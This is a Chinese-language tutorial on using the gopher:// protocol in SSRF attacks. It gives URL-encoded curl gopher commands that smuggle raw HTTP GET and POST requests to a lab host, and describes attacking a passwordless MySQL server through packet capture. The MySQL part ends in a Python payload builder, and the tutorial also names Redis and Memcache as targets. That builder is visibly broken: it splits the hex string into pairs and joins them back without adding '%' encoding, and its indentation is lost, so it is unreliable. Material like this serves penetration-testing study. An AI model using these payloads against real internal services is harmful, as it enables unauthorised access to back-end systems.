gopher协议的利用
字数 1241 2025-08-12 11:33:49
Gopher协议利用完全指南
1. Gopher协议概述
Gopher协议是一个古老且强大的协议,可以理解为HTTP协议的前身。它具有以下特点:
- 可以实现多个数据包整合发送
- 通过gopher协议可以攻击内网的FTP、Telnet、Redis、Memcache等服务
- 可以进行GET、POST请求
- 在SSRF漏洞利用中特别有用,尤其是当HTTP协议无法传递POST数据时
2. Gopher协议格式
基本格式:
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
注意事项:
<port>默认为70- 发起多条请求时,每条要用回车换行(%0d%0a)隔开
- 如果多个参数,参数之间的&也需要进行URL编码
3. 各语言对Gopher协议的支持情况
| 语言 | 支持情况 |
|---|---|
| PHP | --with-curlwrappers且php版本至少为5.3 |
| Java | 小于JDK1.7 |
| Curl | 低版本不支持 |
| Perl | 支持 |
| ASP.NET | 小于版本3 |
4. Gopher发送HTTP请求
4.1 GET请求示例
- 准备PHP代码:
<?php echo $_GET['name'];?>
- HTTP GET数据包:
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
- URL编码后:
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
- 转换为gopher命令:
curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
4.2 POST请求示例
- 准备PHP代码:
<?php echo $_POST['name'];?>
- POST请求必须包含以下内容:
- POST方法声明
- Host头
- Content-Type头
- Content-Length头
- POST参数
- 转换为gopher命令:
curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a
5. 利用Gopher协议进行SSRF攻击
5.1 攻击MySQL示例
前提条件:
- MySQL无密码认证
- 存在SSRF漏洞
工具推荐:
- Gopherus - 包含常见应用的gopher数据包格式构造
5.1.1 本地MySQL无密码用户设置
CREATE USER 'Sch0lar'@'localhost';
GRANT USAGE ON *.* TO 'Sch0lar'@'localhost';
GRANT ALL ON *.* TO 'Sch0lar'@'localhost';
5.1.2 抓取MySQL通信数据包
- 使用tcpdump抓包:
tcpdump -i lo port 3306 -w mysql.pcapng
- 连接MySQL(注意禁用SSL):
mysql -u Sch0lar --ssl-mode=disabled
- 使用Wireshark分析mysql.pcapng数据包,追踪TCP流
5.1.3 生成Gopher数据流
使用Python脚本将原始数据转换为gopher格式:
import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_"+"".join(a)
if __name__=="__main__":
s=sys.argv[1]
print(results(s))
6. 注意事项
-
MySQL抓包问题:
- 高版本MySQL可能默认使用SSL安全连接模式
- 连接时需要添加
--ssl-mode=disabled参数禁用SSL
-
编码问题:
- 所有数据必须进行URL编码
- 每条命令结尾必须添加
%0d%0a表示结束
-
工具使用:
- 使用Gopherus等工具生成payload后,
_后面的内容还需要进行URL编码 - PHP接收到POST或GET请求数据时会自解码一次
- 使用Gopherus等工具生成payload后,
7. 总结
Gopher协议在SSRF攻击中非常有用,特别是针对内网服务如Redis、MySQL等的攻击。掌握Gopher协议的使用方法,能够扩展SSRF的攻击面,提升渗透测试的能力。在实际应用中,需要注意不同语言对Gopher协议的支持情况,以及数据编码和格式的准确性。